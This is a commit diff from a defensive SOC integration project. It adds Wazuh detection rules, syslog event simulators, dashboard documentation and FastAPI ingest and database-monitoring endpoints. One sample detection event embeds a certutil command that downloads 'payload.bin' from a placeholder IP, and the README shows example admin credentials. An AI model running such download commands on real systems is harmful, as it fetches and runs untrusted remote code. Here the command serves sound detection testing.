code">
+### Diff Snapshot
648
+
649
+- Base commit: `0de071e7c9327c8c9135f0c15cf80c31c9b2e59a`
650
+- Head commit: `5e215c0`
651
+- Net change: **40 files changed, 6083 insertions(+), 108 deletions(-)**
652
+
653
+### Major Progress Areas
654
+
655
+1. SOC Integrator Expansion
656
+
657
+- Added full admin UI stack:
658
+  - `soc-integrator/app/ui/index.html`
659
+  - `soc-integrator/app/ui/assets/app.js`
660
+  - `soc-integrator/app/ui/assets/styles.css`
661
+- Added Appendix C correlation/detection service:
662
+  - `soc-integrator/app/services/c_detection_service.py`
663
+- Extended API/data layers for monitoring, simulation control, IOC, and detection history:
664
+  - `soc-integrator/app/main.py`
665
+  - `soc-integrator/app/models.py`
666
+  - `soc-integrator/app/repositories/mvp_repo.py`
667
+- Added GeoIP adapter integration:
668
+  - `soc-integrator/app/adapters/geoip.py`
669
+
670
+2. Wazuh Simulation and Dashboard Delivery
671
+
672
+- Added Appendix-specific event generators:
673
+  - `scripts/send-wazuh-proposal-appendix-b-events.sh`
674
+  - `scripts/send-wazuh-proposal-appendix-c-events.sh`
675
+- Added dashboard artifacts/import pipeline:
676
+  - `scripts/events/*.ndjson`
677
+  - `scripts/import-wazuh-dashboard.sh`
678
+- Added Wazuh custom decoder/rules artifacts for proposal scenarios:
679
+  - `wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml`
680
+  - `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
681
+  - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-*.xml`
682
+
683
+### Wazuh Custom Rules Added (Current Active Set)
684
+
685
+Active custom rules are currently defined in:
686
+- `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
687
+
688
+Rule groups/ranges implemented:
689
+- Base and appendix classifiers:
690
+  - `100200`: base marker for synthetic SOC events (`soc_mvp_test=true`)
691
+  - `100210`: Appendix A classifier
692
+  - `100220`: Appendix B classifier
693
+  - `100230`: Appendix C classifier
694
+- Appendix A:
695
+  - `A1` IOC/DNS: `100301-100302`
696
+  - `A2` FortiGate firewall/IPS/IDS: `100311-100320`
697
+  - `A3` VPN anomalies: `100331-100335`
698
+  - `A4` Windows/AD behaviors: `100341-100364`
699
+- Appendix B:
700
+  - `B1` VMware/vCenter/ESXi: `100401-100403`
701
+  - `B2` Log-loss monitor signal: `100411`
702
+  - `B3` Sysmon-focused detections: `100421-100426`
703
+- Appendix C (implemented scope C1-C3):
704
+  - `C1` Impossible travel: `100501`
705
+  - `C2` Credential abuse/privilege misuse: `100511-100514`
706
+  - `C3` Lateral movement/internal recon: `100521-100524`
707
+
708
+Operational note:
709
+- Split rule files under `wazuh_cluster/rules/soc-*.xml` exist as staging artifacts in this workspace; active detection content is loaded from `local_rules.xml`.
710
+
711
+3. Operations and Runtime Hardening
712
+
713
+- Updated orchestration and runtime configuration:
714
+  - `run-combined-stack.sh`
715
+  - `compose-overrides/soc-integrator.yml`
716
+  - `soc-integrator/Dockerfile`
717
+  - `soc-integrator/.env.example`
718
+
719
+### Documentation Progress Included in This Range
720
+
721
+- Added/updated proposal revision document:
722
+  - `Security Detection & Threat Intelligence Enhancement Proposal-revise.md`
723
+- Expanded progress log coverage in this file (`progress-update.md`) including:
724
+  - Appendix C (C1-C3) production log mapping
725
+  - Production data onboarding checklist
726
+  - Acceptance criteria for source onboarding and validation

二進制
progress-update.pdf


+ 81 - 0
scripts/README.md

@@ -1,5 +1,18 @@
1 1
 # Test Event Scripts
2 2
 
3
+## SOC Integrator UI (`Run Sim Logs`) target mapping
4
+
5
+`/ui -> Systems -> Run Sim Logs` now supports **multi-select Target** values based on selected `Script`.
6
+The UI starts one simulator run per selected target (except `all`, which runs a single `all` run).
7
+
8
+- `fortigate`: `all`, `501E`, `80F`, `60F`, `40F`
9
+- `endpoint`: `all`, `windows`, `mac`, `linux`
10
+- `cisco`: `all`, `asa_acl_deny`, `asa_vpn_auth_fail`, `ios_login_fail`, `ios_config_change`
11
+- `proposal_required`: `all`, `a1`, `a2`, `a3`, `a4`
12
+- `proposal_appendix_b`: `all`, `b1`, `b2`, `b3`
13
+- `proposal_appendix_c`: `all`, `c1`, `c2`, `c3`
14
+- `wazuh_test`: `all`, `ioc_dns`, `ioc_ips`, `vpn_outside_th`, `windows_auth_fail`
15
+
3 16
 ## Send Wazuh test events
4 17
 
5 18
 Use this to inject synthetic SOC events via syslog UDP into Wazuh manager.
@@ -342,3 +355,71 @@ scripts/import-wazuh-dashboard.sh scripts/events/wazuh-fortigate-sim-dashboard.n
342 355
 After import, open dashboard:
343 356
 
344 357
 - `SOC FortiGate Simulation Overview`
358
+
359
+## Wazuh dashboard files (detailed)
360
+
361
+Dashboard saved objects are stored in `scripts/events/*.ndjson`.
362
+
363
+- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
364
+  - Title: `SOC FortiGate Simulation Overview`
365
+  - Purpose: FortiGate simulation visibility (events over time, top devices, top event types, severity).
366
+  - Typical data source: `scripts/send-wazuh-fortigate-test-events.sh`
367
+
368
+- `scripts/events/wazuh-client-agents-dashboard.ndjson`
369
+  - Title: `SOC Client Agent Simulation Overview`
370
+  - Purpose: Endpoint simulation visibility for Windows/macOS/Linux agent logs.
371
+  - Typical data source: `scripts/send-wazuh-endpoint-agent-test-events.sh`
372
+
373
+- `scripts/events/wazuh-proposal-required-dashboard.ndjson`
374
+  - Title: `SOC Proposal Required Logs Overview`
375
+  - Purpose: Appendix A required-scope logs (A1-A4).
376
+  - Typical data source: `scripts/send-wazuh-proposal-required-events.sh`
377
+
378
+- `scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson`
379
+  - Title: `SOC Proposal Appendix A+B Overview`
380
+  - Purpose: Combined Appendix A and B overview, including use-case table.
381
+  - Typical data sources:
382
+    - `scripts/send-wazuh-proposal-required-events.sh`
383
+    - `scripts/send-wazuh-proposal-appendix-b-events.sh`
384
+
385
+- `scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson`
386
+  - Title: `SOC Proposal Appendix C Overview`
387
+  - Purpose: Appendix C MVP scope visibility (currently C1-C3 coverage).
388
+  - Typical data source: `scripts/send-wazuh-proposal-appendix-c-events.sh`
389
+
390
+- `scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson`
391
+  - Title: `SOC Proposal Custom Rules Overview`
392
+  - Purpose: Monitor custom proposal rules (e.g., 1003xx/1004xx families), severity, and top descriptions.
393
+  - Typical data source: Any simulation script that triggers proposal custom rules.
394
+
395
+### Import any dashboard file
396
+
397
+```bash
398
+scripts/import-wazuh-dashboard.sh scripts/events/<dashboard-file>.ndjson
399
+```
400
+
401
+Examples:
402
+
403
+```bash
404
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
405
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
406
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson
407
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson
408
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson
409
+```
410
+
411
+Optional overrides:
412
+
413
+```bash
414
+WAZUH_DASHBOARD_URL=https://localhost \
415
+WAZUH_DASHBOARD_USER=admin \
416
+WAZUH_DASHBOARD_PASS=SecretPassword \
417
+OVERWRITE=true \
418
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
419
+```
420
+
421
+### Quick troubleshooting
422
+
423
+- Verify index pattern has data in Discover: `wazuh-alerts-*`.
424
+- Set time range wide enough (for example `Last 24 hours`).
425
+- If charts are empty but raw logs exist, re-import the latest NDJSON and refresh index fields.

+ 18 - 3
scripts/send-wazuh-proposal-appendix-b-events.sh

@@ -14,15 +14,19 @@ DELAY="${3:-0.3}"
14 14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
15 15
 DRY_RUN="${DRY_RUN:-0}"
16 16
 FOREVER="false"
17
+PROFILE="${PROFILE:-simulation}"
17 18
 
18 19
 for arg in "${@:4}"; do
19 20
   case "${arg}" in
20 21
     --forever)
21 22
       FOREVER="true"
22 23
       ;;
24
+    --profile=*)
25
+      PROFILE="${arg#*=}"
26
+      ;;
23 27
     *)
24 28
       echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]"
29
+      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
26 30
       exit 1
27 31
       ;;
28 32
   esac
@@ -52,6 +56,11 @@ if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
52 56
   exit 1
53 57
 fi
54 58
 
59
+if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
+  echo "error: profile must be simulation or production"
61
+  exit 1
62
+fi
63
+
55 64
 rand_public_ip() {
56 65
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
57 66
     echo "198.51.100.$((RANDOM % 240 + 10))"
@@ -113,7 +122,13 @@ emit_b_usecase() {
113 122
 
114 123
   selector_matches "${id}" "${section}" || return 0
115 124
 
116
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
125
+  local tags
126
+  if [[ "${PROFILE}" == "production" ]]; then
127
+    tags="soc_mvp_test=true source=${source} severity=${severity}"
128
+  else
129
+    tags="soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
130
+  fi
131
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} ${tags} ${body}"
117 132
   sleep "${EVENT_DELAY}"
118 133
 }
119 134
 
@@ -194,7 +209,7 @@ emit_selected_set() {
194 209
 }
195 210
 
196 211
 echo "starting proposal Appendix B log simulator"
197
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
212
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
198 213
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
199 214
 
200 215
 if [[ "${FOREVER}" == "true" ]]; then

+ 32 - 5
scripts/send-wazuh-proposal-required-events.sh

@@ -14,15 +14,19 @@ DELAY="${3:-0.3}"
14 14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
15 15
 DRY_RUN="${DRY_RUN:-0}"
16 16
 FOREVER="false"
17
+PROFILE="${PROFILE:-simulation}"
17 18
 
18 19
 for arg in "${@:4}"; do
19 20
   case "${arg}" in
20 21
     --forever)
21 22
       FOREVER="true"
22 23
       ;;
24
+    --profile=*)
25
+      PROFILE="${arg#*=}"
26
+      ;;
23 27
     *)
24 28
       echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever]"
29
+      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
26 30
       exit 1
27 31
       ;;
28 32
   esac
@@ -52,6 +56,11 @@ if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
52 56
   exit 1
53 57
 fi
54 58
 
59
+if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
+  echo "error: profile must be simulation or production"
61
+  exit 1
62
+fi
63
+
55 64
 rand_public_ip() {
56 65
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
57 66
     echo "198.51.100.$((RANDOM % 240 + 10))"
@@ -119,7 +128,13 @@ emit_fgt_usecase() {
119 128
 
120 129
   selector_matches "${id}" "${section}" || return 0
121 130
 
122
-  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
131
+  local tags
132
+  if [[ "${PROFILE}" == "production" ]]; then
133
+    tags="soc_mvp_test=true source=fortigate severity=${severity}"
134
+  else
135
+    tags="soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
136
+  fi
137
+  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" ${tags} ${body}"
123 138
   sleep "${EVENT_DELAY}"
124 139
 }
125 140
 
@@ -132,7 +147,13 @@ emit_dns_usecase() {
132 147
 
133 148
   selector_matches "${id}" "${section}" || return 0
134 149
 
135
-  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
150
+  local tags
151
+  if [[ "${PROFILE}" == "production" ]]; then
152
+    tags="soc_mvp_test=true source=dns severity=${severity}"
153
+  else
154
+    tags="soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
155
+  fi
156
+  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} ${tags} ${body}"
136 157
   sleep "${EVENT_DELAY}"
137 158
 }
138 159
 
@@ -145,7 +166,13 @@ emit_windows_usecase() {
145 166
 
146 167
   selector_matches "${id}" "${section}" || return 0
147 168
 
148
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
169
+  local tags
170
+  if [[ "${PROFILE}" == "production" ]]; then
171
+    tags="soc_mvp_test=true source=windows severity=${severity}"
172
+  else
173
+    tags="soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
174
+  fi
175
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} ${tags} ${body}"
149 176
   sleep "${EVENT_DELAY}"
150 177
 }
151 178
 
@@ -308,7 +335,7 @@ emit_selected_set() {
308 335
 }
309 336
 
310 337
 echo "starting proposal-required log simulator"
311
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
338
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
312 339
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
313 340
 
314 341
 if [[ "${FOREVER}" == "true" ]]; then

+ 229 - 9
soc-integrator/app/main.py

@@ -9,6 +9,7 @@ from collections import deque
9 9
 from datetime import datetime, timedelta, timezone
10 10
 from pathlib import Path
11 11
 
12
+from psycopg import sql
12 13
 from fastapi import Depends, FastAPI, File, HTTPException, Request, UploadFile
13 14
 from fastapi.responses import FileResponse, Response
14 15
 from fastapi.staticfiles import StaticFiles
@@ -21,7 +22,7 @@ from app.adapters.shuffle import ShuffleAdapter
21 22
 from app.adapters.virustotal import VirusTotalAdapter
22 23
 from app.adapters.wazuh import WazuhAdapter
23 24
 from app.config import settings
24
-from app.db import init_schema
25
+from app.db import get_conn, init_schema
25 26
 from app.models import (
26 27
     ActionCreateIncidentRequest,
27 28
     ApiResponse,
@@ -447,13 +448,22 @@ async def health() -> ApiResponse:
447 448
     )
448 449
 
449 450
 
450
-@app.post(
451
-    "/ingest/wazuh-alert",
452
-    response_model=ApiResponse,
453
-    summary="Normalize Wazuh alert",
454
-    description="Normalize a raw Wazuh alert payload into the internal ingest shape.",
455
-)
456
-async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
451
+def _build_wazuh_hit_from_ingest(payload: WazuhIngestRequest) -> dict[str, object]:
452
+    src_payload = dict(payload.payload or {})
453
+    src_payload.setdefault("@timestamp", datetime.now(timezone.utc).isoformat())
454
+    src_payload.setdefault("id", payload.alert_id)
455
+    src_payload.setdefault(
456
+        "rule",
457
+        {
458
+            "id": payload.rule_id or "unknown",
459
+            "level": payload.severity if payload.severity is not None else 5,
460
+            "description": payload.title or "Wazuh alert",
461
+        },
462
+    )
463
+    return {"_id": payload.alert_id or f"wazuh-{uuid.uuid4().hex[:12]}", "_source": src_payload}
464
+
465
+
466
+def _normalize_wazuh_ingest_payload(payload: WazuhIngestRequest) -> dict[str, object]:
457 467
     normalized = {
458 468
         "source": payload.source,
459 469
         "alert_id": payload.alert_id,
@@ -462,7 +472,93 @@ async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
462 472
         "title": payload.title,
463 473
         "payload": payload.payload,
464 474
     }
465
-    return ApiResponse(data={"normalized": normalized})
475
+    hit = _build_wazuh_hit_from_ingest(payload)
476
+    normalized_event = mvp_service.normalize_wazuh_hit(hit)
477
+    return {
478
+        "normalized": normalized,
479
+        "normalized_event": normalized_event,
480
+    }
481
+
482
+
483
+@app.post(
484
+    "/ingest/wazuh-alert",
485
+    response_model=ApiResponse,
486
+    summary="Normalize Wazuh alert",
487
+    description="Normalize a raw Wazuh alert payload into both legacy ingest shape and SOC normalized event shape.",
488
+)
489
+async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
490
+    return ApiResponse(data=_normalize_wazuh_ingest_payload(payload))
491
+
492
+
493
+@app.get(
494
+    "/ingest/wazuh-alert/samples",
495
+    response_model=ApiResponse,
496
+    summary="Sample normalization cases",
497
+    description="Return sample Wazuh event-log cases with expected normalized output for testing and integration.",
498
+)
499
+async def ingest_wazuh_alert_samples() -> ApiResponse:
500
+    sample_payloads = [
501
+        WazuhIngestRequest(
502
+            source="wazuh",
503
+            rule_id="110302",
504
+            alert_id="sample-a1-02",
505
+            severity=8,
506
+            title="A1 production: DNS IOC domain match event",
507
+            payload={
508
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
509
+                "full_log": "Mar 04 09:42:24 dns-fw-01 soc_mvp_test=true source=dns severity=medium event_type=ioc_domain_match src_ip=10.12.132.85 ioc_type=domain ioc_value=ioc-2080.malicious.example feed=threatintel_main confidence=high action=alert",
510
+                "agent": {"name": "dns-fw-01", "id": "001"},
511
+            },
512
+        ),
513
+        WazuhIngestRequest(
514
+            source="wazuh",
515
+            rule_id="110402",
516
+            alert_id="sample-b1-02",
517
+            severity=8,
518
+            title="B1 production: ESXi SSH enabled",
519
+            payload={
520
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
521
+                "full_log": "Mar 04 09:42:28 esxi-01 soc_mvp_test=true source=vmware severity=medium event_type=vmware_esxi_enable_ssh action=enable service=ssh user=root host=esxi-01 src_ip=203.0.113.115",
522
+                "agent": {"name": "esxi-01", "id": "002"},
523
+            },
524
+        ),
525
+        WazuhIngestRequest(
526
+            source="wazuh",
527
+            rule_id="110426",
528
+            alert_id="sample-b3-06",
529
+            severity=8,
530
+            title="B3 production: CertUtil download pattern",
531
+            payload={
532
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
533
+                "full_log": "Mar 04 09:42:35 win-sysmon-01 soc_mvp_test=true source=windows_sysmon severity=medium event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\" src_ip=10.10.10.5",
534
+                "agent": {"name": "win-sysmon-01", "id": "003"},
535
+            },
536
+        ),
537
+        WazuhIngestRequest(
538
+            source="wazuh",
539
+            rule_id="110501",
540
+            alert_id="sample-c1-01",
541
+            severity=12,
542
+            title="C1 production: Impossible travel",
543
+            payload={
544
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
545
+                "full_log": "Mar 04 09:44:10 fgt-vpn-01 source=vpn severity=high event_type=vpn_login_success event_id=4624 success=true user=alice.admin src_ip=8.8.8.8 country=US src_lat=37.3861 src_lon=-122.0839 dst_host=vpn-gw-01",
546
+                "agent": {"name": "fgt-vpn-01", "id": "004"},
547
+            },
548
+        ),
549
+    ]
550
+
551
+    cases = []
552
+    for item in sample_payloads:
553
+        cases.append(
554
+            {
555
+                "name": str(item.alert_id),
556
+                "request": item.model_dump(mode="json"),
557
+                "result": _normalize_wazuh_ingest_payload(item),
558
+            }
559
+        )
560
+
561
+    return ApiResponse(data={"cases": cases, "count": len(cases)})
466 562
 
467 563
 
468 564
 @app.post(
@@ -1540,6 +1636,130 @@ async def wazuh_auto_sync_status() -> ApiResponse:
1540 1636
 
1541 1637
 
1542 1638
 @app.get(
1639
+    "/monitor/db/tables",
1640
+    response_model=ApiResponse,
1641
+    dependencies=[Depends(require_internal_api_key)],
1642
+    summary="List database tables",
1643
+    description="List soc-integrator PostgreSQL tables with row count and relation size.",
1644
+)
1645
+async def monitor_db_tables() -> ApiResponse:
1646
+    rows: list[dict[str, object]] = []
1647
+    with get_conn() as conn, conn.cursor() as cur:
1648
+        cur.execute(
1649
+            """
1650
+            SELECT
1651
+              t.schemaname,
1652
+              t.tablename,
1653
+              COALESCE(s.n_live_tup, 0)::BIGINT AS estimated_rows,
1654
+              COALESCE(pg_total_relation_size(format('%I.%I', t.schemaname, t.tablename)), 0)::BIGINT AS size_bytes,
1655
+              COALESCE(pg_size_pretty(pg_total_relation_size(format('%I.%I', t.schemaname, t.tablename))), '0 bytes') AS size_pretty
1656
+            FROM pg_tables t
1657
+            LEFT JOIN pg_stat_user_tables s
1658
+              ON s.schemaname = t.schemaname
1659
+             AND s.relname = t.tablename
1660
+            WHERE t.schemaname = 'public'
1661
+            ORDER BY t.tablename
1662
+            """
1663
+        )
1664
+        tables = cur.fetchall()
1665
+
1666
+        for item in tables:
1667
+            schema = str(item.get("schemaname") or "public")
1668
+            table = str(item.get("tablename") or "")
1669
+            if not table:
1670
+                continue
1671
+
1672
+            cur.execute(
1673
+                sql.SQL("SELECT COUNT(*) AS cnt FROM {}.{}").format(
1674
+                    sql.Identifier(schema),
1675
+                    sql.Identifier(table),
1676
+                )
1677
+            )
1678
+            count_row = cur.fetchone() or {}
1679
+            row_count = int(count_row.get("cnt", 0) or 0)
1680
+
1681
+            rows.append(
1682
+                {
1683
+                    "schema": schema,
1684
+                    "table": table,
1685
+                    "row_count": row_count,
1686
+                    "estimated_rows": int(item.get("estimated_rows", 0) or 0),
1687
+                    "size_bytes": int(item.get("size_bytes", 0) or 0),
1688
+                    "size_pretty": str(item.get("size_pretty") or "0 bytes"),
1689
+                }
1690
+            )
1691
+
1692
+    return ApiResponse(
1693
+        data={
1694
+            "database": settings.soc_integrator_db_name,
1695
+            "generated_at": datetime.now(timezone.utc).isoformat(),
1696
+            "tables": rows,
1697
+        }
1698
+    )
1699
+
1700
+
1701
+@app.get(
1702
+    "/monitor/db/tables/{table_name}/rows",
1703
+    response_model=ApiResponse,
1704
+    dependencies=[Depends(require_internal_api_key)],
1705
+    summary="List rows from selected table",
1706
+    description="Return rows from a selected public table with pagination.",
1707
+)
1708
+async def monitor_db_table_rows(
1709
+    table_name: str,
1710
+    limit: int = 50,
1711
+    offset: int = 0,
1712
+) -> ApiResponse:
1713
+    table = str(table_name or "").strip()
1714
+    if not table:
1715
+        raise HTTPException(status_code=400, detail="table_name is required")
1716
+
1717
+    page_limit = max(1, min(int(limit), 500))
1718
+    page_offset = max(0, int(offset))
1719
+
1720
+    with get_conn() as conn, conn.cursor() as cur:
1721
+        cur.execute(
1722
+            """
1723
+            SELECT 1
1724
+            FROM pg_tables
1725
+            WHERE schemaname = 'public' AND tablename = %s
1726
+            LIMIT 1
1727
+            """,
1728
+            (table,),
1729
+        )
1730
+        if not cur.fetchone():
1731
+            raise HTTPException(status_code=404, detail=f"table '{table}' not found in schema public")
1732
+
1733
+        cur.execute(
1734
+            sql.SQL("SELECT COUNT(*) AS cnt FROM {}.{}").format(
1735
+                sql.Identifier("public"),
1736
+                sql.Identifier(table),
1737
+            )
1738
+        )
1739
+        total_row = cur.fetchone() or {}
1740
+        total = int(total_row.get("cnt", 0) or 0)
1741
+
1742
+        cur.execute(
1743
+            sql.SQL("SELECT * FROM {}.{} ORDER BY 1 DESC LIMIT %s OFFSET %s").format(
1744
+                sql.Identifier("public"),
1745
+                sql.Identifier(table),
1746
+            ),
1747
+            (page_limit, page_offset),
1748
+        )
1749
+        rows = [dict(item) for item in (cur.fetchall() or [])]
1750
+
1751
+    return ApiResponse(
1752
+        data={
1753
+            "table": table,
1754
+            "limit": page_limit,
1755
+            "offset": page_offset,
1756
+            "total": total,
1757
+            "rows": rows,
1758
+        }
1759
+    )
1760
+
1761
+
1762
+@app.get(
1543 1763
     "/monitor/systems",
1544 1764
     response_model=ApiResponse,
1545 1765
     dependencies=[Depends(require_internal_api_key)],

+ 34 - 1
soc-integrator/app/services/mvp_service.py

@@ -138,10 +138,43 @@ class MvpService:
138 138
         return "low"
139 139
 
140 140
     def _event_type_from_text(self, text: str, parsed: dict[str, str]) -> str:
141
-        explicit = parsed.get("event_type")
141
+        explicit = str(parsed.get("event_type") or "").strip().lower()
142
+        usecase_id = str(parsed.get("usecase_id") or "").strip().upper()
143
+        section = str(parsed.get("section") or "").strip().upper()
144
+        source = str(parsed.get("source") or "").strip().lower()
145
+        success = str(parsed.get("success") or "").strip().lower()
146
+        has_geo = bool(parsed.get("country") or parsed.get("src_lat") or parsed.get("src_lon"))
147
+        has_user = bool(parsed.get("user"))
148
+        has_src_ip = bool(parsed.get("src_ip") or parsed.get("srcip"))
149
+        explicit_success_login = explicit in {
150
+            "vpn_login_success",
151
+            "windows_auth_success",
152
+            "auth_success",
153
+        }
154
+
155
+        # Production-first C1 detection:
156
+        # successful auth/login + geo context on vpn/windows identity streams.
157
+        if (
158
+            (source in {"vpn", "fortigate", "windows", "identity"} or "vpn" in source)
159
+            and has_geo
160
+            and has_user
161
+            and has_src_ip
162
+            and (success == "true" or explicit_success_login)
163
+        ):
164
+            return "c1_impossible_travel"
165
+
166
+        # Legacy simulator markers remain supported as fallback.
167
+        if usecase_id.startswith("C1") or section == "C1":
168
+            return "c1_impossible_travel"
169
+        if explicit in {"c1_impossible_travel", "impossible_travel"}:
170
+            return "c1_impossible_travel"
171
+        if explicit == "vpn_geo_anomaly":
172
+            return "vpn_geo_anomaly"
142 173
         if explicit:
143 174
             return explicit
144 175
         lowered = text.lower()
176
+        if "impossible travel" in lowered:
177
+            return "c1_impossible_travel"
145 178
         if "vpn" in lowered and ("geo" in lowered or "country" in lowered):
146 179
             return "vpn_geo_anomaly"
147 180
         if "domain" in lowered or "dns" in lowered:

+ 162 - 14
soc-integrator/app/ui/assets/app.js

@@ -22,11 +22,32 @@ function parseJsonOrThrow(text, label) {
22 22
   }
23 23
 }
24 24
 
25
+const SIM_SCRIPT_DESCRIPTIONS = {
26
+  fortigate: "FortiGate firewall telemetry simulator (40F/60F/80F/501E) for network and security events.",
27
+  endpoint: "Windows/macOS/Linux endpoint-agent simulator for process, auth, and endpoint behavior logs.",
28
+  cisco: "Cisco ASA/IOS network log simulator for parser/rule coverage and telemetry validation.",
29
+  proposal_required: "Appendix A required-use-case simulator (A1-A4) for proposal/UAT coverage.",
30
+  proposal_appendix_b: "Appendix B optional-use-case simulator (B1-B3), including log-loss test flow.",
31
+  proposal_appendix_c: "Appendix C future-enhancement simulator (C1-C3 currently implemented).",
32
+  wazuh_test: "Generic Wazuh baseline test events for connectivity and ingest sanity checks.",
33
+};
34
+
35
+const SIM_SCRIPT_TARGET_OPTIONS = {
36
+  fortigate: ["all", "501E", "80F", "60F", "40F"],
37
+  endpoint: ["all", "windows", "mac", "linux"],
38
+  cisco: ["all", "asa_acl_deny", "asa_vpn_auth_fail", "ios_login_fail", "ios_config_change"],
39
+  proposal_required: ["all", "a1", "a2", "a3", "a4"],
40
+  proposal_appendix_b: ["all", "b1", "b2", "b3"],
41
+  proposal_appendix_c: ["all", "c1", "c2", "c3"],
42
+  wazuh_test: ["all", "ioc_dns", "ioc_ips", "vpn_outside_th", "windows_auth_fail"],
43
+};
44
+
25 45
 window.socUi = function socUi() {
26 46
   return {
27 47
     tabs: [
28 48
       { key: "overview", label: "Overview" },
29 49
       { key: "systems", label: "Systems" },
50
+      { key: "database", label: "Database" },
30 51
       { key: "monitoring", label: "Monitoring" },
31 52
       { key: "ioc", label: "IOC" },
32 53
       { key: "geoip", label: "GeoIP" },
@@ -53,6 +74,18 @@ window.socUi = function socUi() {
53 74
       lastRefreshAt: null,
54 75
       timerId: null,
55 76
     },
77
+    dbTables: {
78
+      data: null,
79
+      loading: false,
80
+      lastRefreshAt: null,
81
+    },
82
+    dbBrowser: {
83
+      selectedTable: "",
84
+      rows: null,
85
+      loading: false,
86
+      limit: 50,
87
+      offset: 0,
88
+    },
56 89
     simLogs: {
57 90
       runs: null,
58 91
       startResult: null,
@@ -64,7 +97,7 @@ window.socUi = function socUi() {
64 97
       timerId: null,
65 98
       form: {
66 99
         script: "fortigate",
67
-        target: "all",
100
+        targets: ["all"],
68 101
         scenario: "all",
69 102
         count: 1,
70 103
         delay_seconds: 0.3,
@@ -176,6 +209,7 @@ window.socUi = function socUi() {
176 209
       this.loadAutoSync();
177 210
       this.loadCState();
178 211
       this.loadSystemsMonitor();
212
+      this.loadDbTables();
179 213
       this.loadSimRuns();
180 214
       this.startSimLogsAutoRefresh();
181 215
       this.startSystemsMonitorAutoRefresh();
@@ -186,6 +220,43 @@ window.socUi = function socUi() {
186 220
       return this.simLogs.form.script === "endpoint";
187 221
     },
188 222
 
223
